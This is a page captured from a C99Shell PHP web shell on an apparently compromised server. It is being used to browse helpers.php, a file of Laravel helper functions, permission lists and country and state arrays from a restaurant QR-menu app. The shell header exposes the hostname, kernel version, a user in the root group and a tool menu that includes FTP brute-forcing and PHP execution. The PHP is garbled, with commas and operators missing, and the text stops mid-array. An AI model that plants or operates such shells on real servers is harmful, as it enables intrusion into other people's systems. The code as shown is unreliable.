!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/test.qr.picotech.app/public_html/app/Http/   drwxr-xr-x
Free 29.28 GB of 117.98 GB (24.82%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     helpers.php (56.36 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

use Barryvdh\TranslationManager\Models\Translation;

function 
short_word($string$wordCount 1$el "...")
{
    return 
\Illuminate\Support\Str::words($string$wordCount$el);
}

function 
isSidebarActive($routeName)
{
    return 
request()->routeIs($routeName) ? 'mm-active' '';

}

function 
formatDate($date)
{
    
$setting json_decode(get_settings('local_setting'));
    if (!isset(
$setting->date_time_format) || !isset($setting->date_time_separator) || !isset($setting->timezone)) return $date;

    return 
str_replace([',''_'], [', '' '], Carbon\Carbon::createFromTimeString($date)->timezone($setting->timezone)->format(str_replace(' '$setting->date_time_separator$setting->date_time_format)));
}

function 
formatNumber($number)
{
    
$setting json_decode(get_settings('local_setting'));
    if (!isset(
$setting->decimal_format) || !isset($setting->decimals) || !isset($setting->thousand_separator)) return $number;

    try {
        return 
number_format($number$setting->decimals$setting->decimal_format$setting->thousand_separator);
    } catch (
\Exception $ex) {
        return 
$number;
    }
}

function 
formatNumberWithCurrSymbol($number)
{
    
$setting json_decode(get_settings('local_setting'));
    
$formattedNumber formatNumber($number);
    if (!isset(
$setting->currency_symbol_position) || !isset($setting->currency_symbol)) return $formattedNumber;
    if (
$setting->currency_symbol_position == 'after')
        return 
$formattedNumber $setting->currency_symbol;
    else if (
$setting->currency_symbol_position == 'before')
        return 
$setting->currency_symbol $formattedNumber;
    else
        return 
$formattedNumber;
}

function 
get_settings($name)
{
    
$value cache('settings');

    if (!
$value) {
        if (
\Schema::hasTable('settings')) {
            
$settings \App\Models\Setting::all();
            
$sortSettings = [];
            foreach (
$settings as $setting) {
                
$sortSettings[$setting->name] = $setting->value;
            }
            
cache()->remember('settings'10800, function () use ($sortSettings) {
                return 
$sortSettings;
            });
        }
    } else {
        
$sortSettings $value;
    }

    return isset(
$sortSettings[$name]) ? $sortSettings[$name] : '';
}

function 
get_restaurant_gateway_settings($user_id)
{
    return 
\App\Models\RestaurantPaymentGateway::where('user_id'$user_id)->first();
}

function 
get_currency()
{
    
$setting json_decode(get_settings('local_setting'));
    
$currencyCode $setting->currency_code;
//    if (!isset($setting->currency_code)) return 'USD';
    
return $currencyCode;
}

function 
get_restaurant_currency()
{
    
$currency \App\Models\RestaurantCurrency::where('restaurant_id',auth()->user()->id)->first();
    
$setting json_decode($currency->value);
//    if (!isset($setting->currency_code)) return 'USD';
    
return $setting;
}

function 
get_currency_symbol()
{
    return 
"$";
}

function 
get_stripe_publish_key()
{
    
$credentials json_decode(get_settings('payment_gateway'));
    if (!
$credentials->stripe_publish_key || !$credentials->stripe_secret_key) {
        return 
"";
    }
    return 
$credentials->stripe_publish_key;
}

function 
notification($type$ref_id$to_user_id$message)
{
    
$notification = new \App\Models\Notification();
    
$notification->type $type;
    
$notification->ref_id $ref_id;
    
$notification->to_user_id $to_user_id;
    
$notification->message $message;
    
$notification->save();
}

function 
get_notifications()
{
    
$notifications \App\Models\Notification::where('to_user_id'auth()->id())->orderBy('created_at''desc')->limit(5)->get();

    return 
$notifications;
}

function 
get_customer_permissions()
{
    return [
'order_list''general_setting''change_password','reservation'];
}

function 
get_pages($position)
{

    
$pages cache('pages');

    if (!
$pages) {
        
$pages \App\Models\Page::where('status''published')->orderBy('created_at''desc')->get();

        
$sortSettings = [];
        foreach (
$pages as $page) {
            
$sortSettings[$page->position][] = $page;
        }
        
cache()->remember('pages'10800, function () use ($sortSettings) {
            return 
$sortSettings;
        });
    } else {
        
$sortSettings $pages;
    }

    return isset(
$sortSettings[$position]) ? $sortSettings[$position] : [];
}
function 
get_restaurant_permissions()
{
    return [
        
"restaurant_manage",
        
"order_manage",
        
"item_manage",
        
"table_manage",
        
"dashboard",
        
"general_setting",
        
"change_password",
        
"order_payment_status_change",
        
"order_list",
        
"billing",
        
"plan_list",
        
'manage_user',
        
"category_manage",
        
"payment_gateway_setting",
        
"tax_manage",
        
"report",
        
"role_permission",
        
'order_approved',
        
'ready_for_delivery',
        
'delivered',
        
'call_waiter',
        
'pos_order',
        
'order_count_down',
        
'menu_manage',
        
'reservation',
    ];
}

function 
get_admin_permission()
{
    return [
        
"restaurant_manage",
        
"plan_manage",
        
"dashboard",
        
"general_setting",
        
"change_password",
        
"site_setting",
        
"email_setting",
        
"email_template_setting",
        
"payment_gateway_setting",
        
"sms_gateway_setting",
        
"role_permission",
        
"user_plan_change",
        
"local_setting",
        
"report",
        
"manage_user",
        
"user_permission",
        
"addon_manage",
        
"template_manage",
        
"contact_message"
    
];
}

function 
get_user_permission()
{
    return [
        
'order_approved',
        
'ready_for_delivery',
        
'delivered',
        
"order_list",
        
'order_payment_status_change',
        
'call_waiter',
        
'reservation',
        
'pos_order',
    ];
}

function 
format_number($number$decimals 2)
{
    return 
number_format((float)$number$decimals'.''');
}

function 
getAllTimeZones()
{
    
$timezone = array();
    
$timestamp time();

    foreach (
timezone_identifiers_list(\DateTimeZone::ALL) as $key => $t) {
        
date_default_timezone_set($t);
        
$timezone[$key]['zone'] = $t;
        
$timezone[$key]['GMT_difference'] = date('P'$timestamp);
    }
    
$timezone collect($timezone)->sortBy('GMT_difference');
    return 
$timezone;
}

function 
get_available_languages()
{
    
$value cache('language');

    if (!
$value) {
        
$all_locales Translation::select('locale')->groupBy('locale')->get()->pluck('locale')->toArray();
        
cache()->remember('language'10800, function () use ($all_locales) {
            return 
$all_locales;
        });

        return 
$all_locales;
    } else {
        return 
$value;
    }
}

function 
generateOrderSlot()
{
    return 
"<option value='00:00-01:00'>00:00-01:00</option> <option value='01:00-02:00'>01:00-02:00</option> <option value='02:00-03:00'>02:00-03:00</option> <option value='03:00-04:00'>03:00-04:00</option> <option value='04:00-05:00'>04:00-05:00</option> <option value='05:00-06:00'>05:00-06:00</option> <option value='06:00-07:00'>06:00-07:00</option> <option value='07:00-08:00'>07:00-08:00</option> <option value='08:00-09:00'>08:00-09:00</option> <option value='09:00-10:00'>09:00-10:00</option> <option value='10:00-11:00'>10:00-11:00</option> <option value='11:00-12:00'>11:00-12:00</option> <option value='12:00-13:00'>12:00-13:00</option> <option value='13:00-14:00'>13:00-14:00</option> <option value='14:00-15:00'>14:00-15:00</option> <option value='15:00-16:00'>15:00-16:00</option> <option value='16:00-17:00'>16:00-17:00</option> <option value='17:00-18:00'>17:00-18:00</option> <option value='18:00-19:00'>18:00-19:00</option> <option value='19:00-20:00'>19:00-20:00</option> <option value='20:00-21:00'>20:00-21:00</option> <option value='21:00-22:00'>21:00-22:00</option>";
}

function 
modules_status($name)
{
    if (
\Module::has($name) && \Module::find($name)->isEnabled()){
       return 
true;
    }else{
       return 
false;
    }

}

function 
getCountryCode() {
    
$countryArray = [
        [
"name" => "Afghanistan""code" => "AF"],
        [
"name" => "Åland Islands""code" => "AX"],
        [
"name" => "Albania""code" => "AL"],
        [
"name" => "Algeria""code" => "DZ"],
        [
"name" => "American Samoa""code" => "AS"],
        [
"name" => "Andorra""code" => "AD"],
        [
"name" => "Angola""code" => "AO"],
        [
"name" => "Anguilla""code" => "AI"],
        [
"name" => "Antarctica""code" => "AQ"],
        [
"name" => "Antigua and Barbuda""code" => "AG"],
        [
"name" => "Argentina""code" => "AR"],
        [
"name" => "Armenia""code" => "AM"],
        [
"name" => "Aruba""code" => "AW"],
        [
"name" => "Australia""code" => "AU"],
        [
"name" => "Austria""code" => "AT"],
        [
"name" => "Azerbaijan""code" => "AZ"],
        [
"name" => "Bahamas""code" => "BS"],
        [
"name" => "Bahrain""code" => "BH"],
        [
"name" => "Bangladesh""code" => "BD"],
        [
"name" => "Barbados""code" => "BB"],
        [
"name" => "Belarus""code" => "BY"],
        [
"name" => "Belgium""code" => "BE"],
        [
"name" => "Belize""code" => "BZ"],
        [
"name" => "Benin""code" => "BJ"],
        [
"name" => "Bermuda""code" => "BM"],
        [
"name" => "Bhutan""code" => "BT"],
        [
"name" => "Bolivia""code" => "BO"],
        [
"name" => "Bosnia and Herzegovina""code" => "BA"],
        [
"name" => "Botswana""code" => "BW"],
        [
"name" => "Bouvet Island""code" => "BV"],
        [
"name" => "Brazil""code" => "BR"],
        [
"name" => "British Indian Ocean Territory""code" => "IO"],
        [
"name" => "Brunei Darussalam""code" => "BN"],
        [
"name" => "Bulgaria""code" => "BG"],
        [
"name" => "Burkina Faso""code" => "BF"],
        [
"name" => "Burundi""code" => "BI"],
        [
"name" => "Cambodia""code" => "KH"],
        [
"name" => "Cameroon""code" => "CM"],
        [
"name" => "Canada""code" => "CA"],
        [
"name" => "Cape Verde""code" => "CV"],
        [
"name" => "Cayman Islands""code" => "KY"],
        [
"name" => "Central African Republic""code" => "CF"],
        [
"name" => "Chad""code" => "TD"],
        [
"name" => "Chile""code" => "CL"],
        [
"name" => "China""code" => "CN"],
        [
"name" => "Christmas Island""code" => "CX"],
        [
"name" => "Cocos (Keeling) Islands""code" => "CC"],
        [
"name" => "Colombia""code" => "CO"],
        [
"name" => "Comoros""code" => "KM"],
        [
"name" => "Congo""code" => "CG"],
        [
"name" => "Congo, The Democratic Republic of the""code" => "CD"],
        [
"name" => "Cook Islands""code" => "CK"],
        [
"name" => "Costa Rica""code" => "CR"],
        [
"name" => "Côte d'Ivoire""code" => "CI"],
        [
"name" => "Croatia""code" => "HR"],
        [
"name" => "Cuba""code" => "CU"],
        [
"name" => "Cyprus""code" => "CY"],
        [
"name" => "Czech Republic""code" => "CZ"],
        [
"name" => "Denmark""code" => "DK"],
        [
"name" => "Djibouti""code" => "DJ"],
        [
"name" => "Dominica""code" => "DM"],
        [
"name" => "Dominican Republic""code" => "DO"],
        [
"name" => "Ecuador""code" => "EC"],
        [
"name" => "Egypt""code" => "EG"],
        [
"name" => "El Salvador""code" => "SV"],
        [
"name" => "Equatorial Guinea""code" => "GQ"],
        [
"name" => "Eritrea""code" => "ER"],
        [
"name" => "Estonia""code" => "EE"],
        [
"name" => "Ethiopia""code" => "ET"],
        [
"name" => "Falkland Islands (Malvinas)""code" => "FK"],
        [
"name" => "Faroe Islands""code" => "FO"],
        [
"name" => "Fiji""code" => "FJ"],
        [
"name" => "Finland""code" => "FI"],
        [
"name" => "France""code" => "FR"],
        [
"name" => "French Guiana""code" => "GF"],
        [
"name" => "French Polynesia""code" => "PF"],
        [
"name" => "French Southern Territories""code" => "TF"],
        [
"name" => "Gabon""code" => "GA"],
        [
"name" => "Gambia""code" => "GM"],
        [
"name" => "Georgia""code" => "GE"],
        [
"name" => "Germany""code" => "DE"],
        [
"name" => "Ghana""code" => "GH"],
        [
"name" => "Gibraltar""code" => "GI"],
        [
"name" => "Greece""code" => "GR"],
        [
"name" => "Greenland""code" => "GL"],
        [
"name" => "Grenada""code" => "GD"],
        [
"name" => "Guadeloupe""code" => "GP"],
        [
"name" => "Guam""code" => "GU"],
        [
"name" => "Guatemala""code" => "GT"],
        [
"name" => "Guernsey""code" => "GG"],
        [
"name" => "Guinea""code" => "GN"],
        [
"name" => "Guinea-Bissau""code" => "GW"],
        [
"name" => "Guyana""code" => "GY"],
        [
"name" => "Haiti""code" => "HT"],
        [
"name" => "Heard Island and McDonald Islands""code" => "HM"],
        [
"name" => "Holy See (Vatican City State)""code" => "VA"],
        [
"name" => "Honduras""code" => "HN"],
        [
"name" => "Hong Kong""code" => "HK"],
        [
"name" => "Hungary""code" => "HU"],
        [
"name" => "Iceland""code" => "IS"],
        [
"name" => "India""code" => "IN"],
        [
"name" => "Indonesia""code" => "ID"],
        [
"name" => "Iran, Islamic Republic Of""code" => "IR"],
        [
"name" => "Iraq""code" => "IQ"],
        [
"name" => "Ireland""code" => "IE"],
        [
"name" => "Isle of Man""code" => "IM"],
        [
"name" => "Israel""code" => "IL"],
        [
"name" => "Italy""code" => "IT"],
        [
"name" => "Jamaica""code" => "JM"],
        [
"name" => "Japan""code" => "JP"],
        [
"name" => "Jersey""code" => "JE"],
        [
"name" => "Jordan""code" => "JO"],
        [
"name" => "Kazakhstan""code" => "KZ"],
        [
"name" => "Kenya""code" => "KE"],
        [
"name" => "Kiribati""code" => "KI"],
        [
"name" => "Korea, Democratic People's Republic of""code" => "KP"],
        [
"name" => "Korea, Republic of""code" => "KR"],
        [
"name" => "Kuwait""code" => "KW"],
        [
"name" => "Kyrgyzstan""code" => "KG"],
        [
"name" => "Lao People's Democratic Republic""code" => "LA"],
        [
"name" => "Latvia""code" => "LV"],
        [
"name" => "Lebanon""code" => "LB"],
        [
"name" => "Lesotho""code" => "LS"],
        [
"name" => "Liberia""code" => "LR"],
        [
"name" => "Libyan Arab Jamahiriya""code" => "LY"],
        [
"name" => "Liechtenstein""code" => "LI"],
        [
"name" => "Lithuania""code" => "LT"],
        [
"name" => "Luxembourg""code" => "LU"],
        [
"name" => "Macao""code" => "MO"],
        [
"name" => "Macedonia, The Former Yugoslav Republic of""code" => "MK"],
        [
"name" => "Madagascar""code" => "MG"],
        [
"name" => "Malawi""code" => "MW"],
        [
"name" => "Malaysia""code" => "MY"],
        [
"name" => "Maldives""code" => "MV"],
        [
"name" => "Mali""code" => "ML"],
        [
"name" => "Malta""code" => "MT"],
        [
"name" => "Marshall Islands""code" => "MH"],
        [
"name" => "Martinique""code" => "MQ"],
        [
"name" => "Mauritania""code" => "MR"],
        [
"name" => "Mauritius""code" => "MU"],
        [
"name" => "Mayotte""code" => "YT"],
        [
"name" => "Mexico""code" => "MX"],
        [
"name" => "Micronesia, Federated States of""code" => "FM"],
        [
"name" => "Moldova, Republic of""code" => "MD"],
        [
"name" => "Monaco""code" => "MC"],
        [
"name" => "Mongolia""code" => "MN"],
        [
"name" => "Montenegro""code" => "ME"],
        [
"name" => "Montserrat""code" => "MS"],
        [
"name" => "Morocco""code" => "MA"],
        [
"name" => "Mozambique""code" => "MZ"],
        [
"name" => "Myanmar""code" => "MM"],
        [
"name" => "Namibia""code" => "NA"],
        [
"name" => "Nauru""code" => "NR"],
        [
"name" => "Nepal""code" => "NP"],
        [
"name" => "Netherlands""code" => "NL"],
        [
"name" => "Netherlands Antilles""code" => "AN"],
        [
"name" => "New Caledonia""code" => "NC"],
        [
"name" => "New Zealand""code" => "NZ"],
        [
"name" => "Nicaragua""code" => "NI"],
        [
"name" => "Niger""code" => "NE"],
        [
"name" => "Nigeria""code" => "NG"],
        [
"name" => "Niue""code" => "NU"],
        [
"name" => "Norfolk Island""code" => "NF"],
        [
"name" => "Northern Mariana Islands""code" => "MP"],
        [
"name" => "Norway""code" => "NO"],
        [
"name" => "Oman""code" => "OM"],
        [
"name" => "Pakistan""code" => "PK"],
        [
"name" => "Palau""code" => "PW"],
        [
"name" => "Palestinian Territory, Occupied""code" => "PS"],
        [
"name" => "Panama""code" => "PA"],
        [
"name" => "Papua New Guinea""code" => "PG"],
        [
"name" => "Paraguay""code" => "PY"],
        [
"name" => "Peru""code" => "PE"],
        [
"name" => "Philippines""code" => "PH"],
        [
"name" => "Pitcairn""code" => "PN"],
        [
"name" => "Poland""code" => "PL"],
        [
"name" => "Portugal""code" => "PT"],
        [
"name" => "Puerto Rico""code" => "PR"],
        [
"name" => "Qatar""code" => "QA"],
        [
"name" => "Réunion""code" => "RE"],
        [
"name" => "Romania""code" => "RO"],
        [
"name" => "Russian Federation""code" => "RU"],
        [
"name" => "Rwanda""code" => "RW"],
        [
"name" => "Saint Helena""code" => "SH"],
        [
"name" => "Saint Kitts and Nevis""code" => "KN"],
        [
"name" => "Saint Lucia""code" => "LC"],
        [
"name" => "Saint Pierre and Miquelon""code" => "PM"],
        [
"name" => "Saint Vincent and the Grenadines""code" => "VC"],
        [
"name" => "Samoa""code" => "WS"],
        [
"name" => "San Marino""code" => "SM"],
        [
"name" => "Sao Tome and Principe""code" => "ST"],
        [
"name" => "Saudi Arabia""code" => "SA"],
        [
"name" => "Senegal""code" => "SN"],
        [
"name" => "Serbia""code" => "RS"],
        [
"name" => "Seychelles""code" => "SC"],
        [
"name" => "Sierra Leone""code" => "SL"],
        [
"name" => "Singapore""code" => "SG"],
        [
"name" => "Slovakia""code" => "SK"],
        [
"name" => "Slovenia""code" => "SI"],
        [
"name" => "Solomon Islands""code" => "SB"],
        [
"name" => "Somalia""code" => "SO"],
        [
"name" => "South Africa""code" => "ZA"],
        [
"name" => "South Georgia and the South Sandwich Islands""code" => "GS"],
        [
"name" => "Spain""code" => "ES"],
        [
"name" => "Sri Lanka""code" => "LK"],
        [
"name" => "Sudan""code" => "SD"],
        [
"name" => "Suriname""code" => "SR"],
        [
"name" => "Svalbard and Jan Mayen""code" => "SJ"],
        [
"name" => "Swaziland""code" => "SZ"],
        [
"name" => "Sweden""code" => "SE"],
        [
"name" => "Switzerland""code" => "CH"],
        [
"name" => "Syrian Arab Republic""code" => "SY"],
        [
"name" => "Taiwan""code" => "TW"],
        [
"name" => "Tajikistan""code" => "TJ"],
        [
"name" => "Tanzania, United Republic of""code" => "TZ"],
        [
"name" => "Thailand""code" => "TH"],
        [
"name" => "Timor-Leste""code" => "TL"],
        [
"name" => "Togo""code" => "TG"],
        [
"name" => "Tokelau""code" => "TK"],
        [
"name" => "Tonga""code" => "TO"],
        [
"name" => "Trinidad and Tobago""code" => "TT"],
        [
"name" => "Tunisia""code" => "TN"],
        [
"name" => "Turkey""code" => "TR"],
        [
"name" => "Turkmenistan""code" => "TM"],
        [
"name" => "Tuvalu""code" => "TV"],
        [
"name" => "Uganda""code" => "UG"],
        [
"name" => "Ukraine""code" => "UA"],
        [
"name" => "United Arab Emirates""code" => "AE"],
        [
"name" => "United Kingdom""code" => "GB"],
        [
"name" => "United States""code" => "US"],
        [
"name" => "Uruguay""code" => "UY"],
        [
"name" => "Uzbekistan""code" => "UZ"],
        [
"name" => "Vanuatu""code" => "VU"],
        [
"name" => "Venezuela""code" => "VE"],
        [
"name" => "Viet Nam""code" => "VN"],
        [
"name" => "Western Sahara""code" => "EH"],
        [
"name" => "Yemen""code" => "YE"],
        [
"name" => "Zambia""code" => "ZM"],
        [
"name" => "Zimbabwe""code" => "ZW"]
    ];

    return 
$countryArray;
}

function 
getStateByCode($countryCode) {
    
$states = [
        
'AF' => [
            
'Badakhshan''Balkh''Baghlan''Bamyan''Daykundi''Farah''Faryab''Ghazni''Ghor''Helmand',
            
'Herat''Jowzjan''Kabul''Kandahar''Kunar''Kunduz''Laghman''Logar''Nangarhar''Nimroz',
            
'Nuristan''Paktia''Paktika''Panjshir''Parwan''Samangan''Sari Pul''Takhar''Urozgan',
            
'Wardak''Zabul'
        
],
        
'AX' => [
            
'Åland Islands'
        
],
        
'AL' => [
            
'Berat''Dibër''Durres''Elbasan''Fier''Gjirokastër''Shkodër''Kukës''Korçë''Shijak''Tiranë''Vlorë'
        
],
        
'DZ' => [
            
'Adrar''Chlef''Laghouat''Oum El Bouaghi''Batna''Béjaïa''Biskra''Béchar''Blida''Bouira''Tamanrasset',
            
'Tébessa''Tiaret''Tizi Ouzou''Algiers''Djelfa''Jijel''Sétif''Saïda''Skikda''Sidi Bel Abbès''Annaba',
            
'Guelma''Constantine''Médéa''Mostaganem''M’Sila''Mascara''Ouargla''Oran''El Bayadh''El Tarf''Tindouf',
            
'Tissemsilt''El Oued''Khenchela''Souk Ahras''Tipaza''Mila''Aïn Defla''Naâma''Aïn Témouchent''Ghardaïa',
            
'Relizane''El M’ghair''Bordj Badji Mokhtar''Aïn Guezzam''Djanet''Touggourt''Béni Abbès''Timimoun''Ouled Djellal',
            
'El Menia'
        
],
        
'AS' => [
            
'Eastern District''Manu’a District''Western District'
        
],
        
'AD' => [
            
'Andorra la Vella''Escaldes-Engordany''Encamp''Sant Julià de Lòria''Escaldes-Engordany''Ordino''La Massana'
        
],
        
'AO' => [
            
'Bengo''Benguela''Bié''Cabinda''Cuando Cubango''Cuanza Norte''Cuanza Sul''Cunene''Huambo''Huíla''Icolo e Bengo',
            
'Luanda''Lunda Norte''Lunda Sul''Malanje''Moxico''Namibe''Uíge''Zaire'
        
],
        
'AI' => [
            
'Anguilla'
        
],
        
'AG' => [
            
'Barbuda''Redonda''Saint George''Saint John''Saint Mary''Saint Paul''Saint Peter''Saint Philip'
        
],
        
'AR' => [
            
'Buenos Aires''Catamarca''Chaco''Chubut''Córdoba''Corrientes''Entre Ríos''Formosa''Jujuy''La Pampa''La Rioja',
            
'Mendoza''Misiones''Neuquén''Río Negro''Salta''San Juan''San Luis''Santa Cruz''Santa Fe''Santiago del Estero',
            
'Tierra del Fuego''Tucumán'
        
],
        
'AM' => [
            
'Aragatsotn''Ararat''Armavir''Gegharkunik''Kotayk''Lori''Shirak''Syunik''Tavush''Vayots Dzor''Yerevan'
        
],
        
'AW' => [
            
'Aruba'
        
],
        
'AU' => [
            
'Australian Capital Territory''New South Wales''Northern Territory''Queensland''South Australia''Tasmania''Victoria''Western Australia'
        
],
        
'AT' => [
            
'Burgenland''Carinthia''Lower Austria''Upper Austria''Salzburg''Styria''Tyrol''Vorarlberg''Vienna'
        
],
        
'AZ' => [
            
'Absheron''Agdam''Agdash''Agjabadi''Balakan''Barda''Beylagan''Bilasuvar''Bilesuvar''Ganja''Goranboy''Guba',
            
'Gusar''Hajigabul''Imishli''Ismayilli''Jabrayil''Jalilabad''Jalilabad''Ganja''Guba''Gusar''Hajigabul',
            
'Khachmaz''Khizi''Kurdamir''Lankaran''Lankaran''Lankaran''Mingachevir',
        ],
        
'BH' => [
            
'Capital Governorate''Central Governorate''Muharraq Governorate''Northern Governorate''Southern Governorate'
        
],
        
'BD' => [
            
'Barishal''Chattogram''Dhaka''Khulna''Mymensingh''Rajshahi''Rangpur''Sylhet'
        
],
        
'BB' => [
            
'Christ Church''Saint Andrew''Saint George''Saint James''Saint John''Saint Joseph''Saint Lucy''Saint Michael',
            
'Saint Peter''Saint Philip''Saint Thomas'
        
],
        
'BY' => [
            
'Brest''Gomel''Grodno''Mogilev''Minsk''Minsk City''Vitebsk'
        
],
        
'BE' => [
            
'Antwerp''East Flanders''Flemish Brabant''Limburg''West Flanders''Hainaut''Liège''Luxembourg''Namur',
            
'Walloon Brabant''Brussels Capital Region'
        
],
        
'BZ' => [
            
'Belize District''Cayo District''Corozal District''Orange Walk District''Stann Creek District''Toledo District'
        
],
        
'BJ' => [
            
'Alibori''Atacora''Atlantique''Borgou''Collines''Donga''Kouffo''Littoral''Mono''Ouémé''Plateau',
            
'Zou'
        
],
        
'BM' => [
            
'Bermuda'
        
],
        
'BT' => [
            
'Chhukha''Dagana''Gasa''Haa''Lhuentse''Monggar''Paro''Pemagatshel''Samdrup Jongkhar''Sarpang',
            
'Thimphu''Trashigang''Trashiyangtse''Wangdue Phodrang''Zhemgang'
        
],
        
'BO' => [
            
'Beni''Chuquisaca''Cochabamba''El Alto''La Paz''Oruro''Pando''Potosí''Santa Cruz''Tarija'
        
],
        
'BA' => [
            
'Federation of Bosnia and Herzegovina''Republika Srpska''Brčko District'
        
],
        
'BW' => [
            
'Central''Chobe''Francistown''Gaborone''Ghanzi''Jwaneng''Kgalagadi''Kgatleng''Kweneng''Lobatse',
            
'North East''North West''Selebi-Phikwe''South East''Southern''Sowa Town'
        
],
        
'BV' => [
            
'Bouvet Island'
        
],
        
'BR' => [
            
'Acre''Alagoas''Amapá''Amazonas''Bahia''Ceará''Distrito Federal''Espírito Santo''Goiás''Maranhão',
            
'Mato Grosso''Mato Grosso do Sul''Minas Gerais''Pará''Paraíba''Paraná''Pernambuco''Piauí''Rio de Janeiro',
            
'Rio Grande do Norte''Rio Grande do Sul''Rondônia''Roraima''Santa Catarina''São Paulo''Sergipe''Tocantins'
        
],
        
'IO' => [
            
'Diego Garcia''Danger Island''Eagle Islands''Egmont Islands''Nelson Island''Peros Banhos''Salomon Islands''Three Brothers'
        
],
        
'BN' => [
            
'Brunei-Muara''Belait''Tutong''Temburong'
        
],
        
'BG' => [
            
'Blagoevgrad''Burgas''Dobrich''Gabrovo''Haskovo''Kardzhali''Kyustendil''Lovech''Montana''Pazardzhik',
            
'Pernik''Pleven''Plovdiv''Razgrad''Ruse''Shumen''Silistra''Sliven''Smolyan''Sofia''Sofia City',
            
'Stara Zagora''Targovishte''Varna''Veliko Tarnovo''Vidin''Vratsa''Yambol'
        
],
        
'BF' => [
            
'Boucle du Mouhoun''Centre''Centre-Est''Centre-Nord''Centre-Ouest''Centre-Sud''Est''Hauts-Bassins''Nord',
            
'Nord-Centre''Nord-Ouest''Sahel''Sud-Ouest''Sud-Ouest-Centre''Centre-Nord-Centre''Centre-Sud-Centre'
        
],
        
'BI' => [
            
'Bubanza''Bujumbura Mairie''Bujumbura Rural''Bururi''Cankuzo''Cibitoke''Gitega''Karuzi''Kayanza',
            
'Kirundo''Makamba''Muramvya''Muyinga''Mwaro''Ngozi''Rumonge''Rutana''Ruyigi'
        
],
        
'KH' => [
            
'Banteay Meanchey''Battambang''Kampong Cham''Kampong Chhnang''Kampong Speu''Kampong Thom''Kandal''Koh Kong',
            
'Kratie''Mondulkiri''Oddar Meanchey''Pailin''Phnom Penh''Preah Vihear''Prey Veng''Pursat''Ratanakiri',
            
'Siem Reap''Sihanoukville''Stung Treng''Svay Rieng''Takeo',
        ],
        
'CM' => [
            
'Adamawa''Centre''East''Far North''Littoral''North''North West''West''South West'
        
],
        
'CA' => [
            
'Alberta''British Columbia''Manitoba''New Brunswick''Newfoundland and Labrador''Nova Scotia''Ontario''Prince Edward Island''Quebec''Saskatchewan''Northwest Territories''Nunavut''Yukon'
        
],
        
'CV' => [
            
'Boa Vista''Brava''Maio''Mosteiros''Paul''Porto Novo''Praia''Ribeira Brava''Ribeira Grande''Ribeira Grande de Santiago''Sal''Santa Catarina''Santa Catarina do Fogo''Santa Cruz''São Domingos''São Filipe''São Lourenço dos Órgãos''São Miguel''São Salvador do Mundo''São Vicente''Tarrafal''Tarrafal de São Nicolau'
        
],
        
'KY' => [
            
'Grand Cayman''Cayman Brac''Little Cayman'
        
],
        
'CF' => [
            
'Bamingui-Bangoran''Bangui''Basse-Kotto''Haute-Kotto''Haut-Mbomou''Kémo''Lobaye''Lim-Pendé''Mambéré-Kadéï''Mbomou''Nana-Grébizi''Nana-Mambéré''Ombella-M’Poko''Ouaka''Ouham''Ouham-Pendé''Sangha-Mbaéré''Vakaga'
        
],
        
'TD' => [
            
'Batha''Borkou''Chari-Baguirmi''Guéra''Kanem''Lac''Logone Occidental''Logone Oriental''Mayo-Kebbi Est''Mayo-Kebbi Ouest''Moyen-Chari''Ouaddaï''Salamat''Sila''Tandjilé''Tibesti''Wadi Fira''Zinder'
        
],
        
'CL' => [
            
'Arica y Parinacota''Tarapacá''Antofagasta''Atacama''Coquimbo''Valparaíso''Metropolitana de Santiago''O’Higgins''Maule''Ñuble''Biobío''La Araucanía''Los Ríos''Los Lagos''Aysén del General Carlos Ibáñez del Campo''Magallanes y de la Antártica Chilena'
        
],
        
'CN' => [
            
'Anhui''Beijing''Chongqing''Fujian''Gansu''Guangdong''Guangxi''Guizhou''Hainan''Hebei''Heilongjiang''Henan''Hong Kong''Hubei''Hunan''Inner Mongolia''Jiangsu''Jiangxi''Jilin''Liaoning''Macau''Ningxia''Qinghai''Shaanxi''Shandong''Shanghai''Shanxi''Sichuan''Tianjin''Tibet''Xinjiang''Yunnan''Zhejiang'
        
],
        
'CX' => [
            
'Christmas Island'
        
],
        
'CC' => [
            
'Cocos (Keeling) Islands'
        
],
        
'CO' => [
            
'Amazonas''Antioquia''Arauca''Atlántico''Bolívar''Boyacá''Caldas''Caquetá''Casanare''Cauca',
            
'Cesar''Chocó''Córdoba''Cundinamarca''Guainía''Guaviare''Guajira''Huila''La Guajira''Magdalena',
            
'Meta''Nariño''Norte de Santander''Putumayo''Quindío''Risaralda''San Andrés y Providencia''Santander',
            
'Sucre''Tolima''Valle del Cauca''Vaupés''Vichada'
        
],
        
'KM' => [
            
'Anjouan''Grande Comore''Moheli'
        
],
        
'CG' => [
            
'Bouenza''Brazzaville''Cuvette''Cuvette-Ouest''Kouilou''Lekoumou''Likouala''Niari''Plateaux',
            
'Pool''Sangha'
        
],
        
'CK' => [
            
'Aitutaki''Atiu''Mangaia''Manihiki''Mauke''Mitiaro''Rarotonga''Pukapuka''Nassau''Palmerston',
            
'Penrhyn'
        
],
        
'CR' => [
            
'Alajuela''Cartago''Guanacaste''Heredia''Limón''Puntarenas''San José'
        
],
        
'CI' => [
            
'Abidjan''Agneby''Bafing''Bas-Sassandra''Denguele''Gôh-Djiboua''Lacs''Lagunes''Marahoué',
            
'Moyen-Cavally''N’Zi''Sassandra-Marahoué''Savanes''Vallee du Bandama''Worodougou''Yamoussoukro'
        
],
        
'HR' => [
            
'Bjelovar-Bilogora''Brodsko-Posavska''Dubrovnik-Neretva''Istria''Karlovac''Koprivnica-Križevci''Krapina-Zagorje',
            
'Lika-Senj''Međimurje''Osijek-Baranja''Požega-Slavonia''Primorje-Gorski Kotar''Sisak-Moslavina',
            
'Sibenik-Knin''Varaždin''Virovitica-Podravina''Vukovar-Srijem''Zadar''Zagreb'
        
],
        
'CU' => [
            
'Pinar del Río''Artemisa''La Habana''Mayabeque''Matanzas''Cienfuegos''Villa Clara''Sancti Spíritus',
            
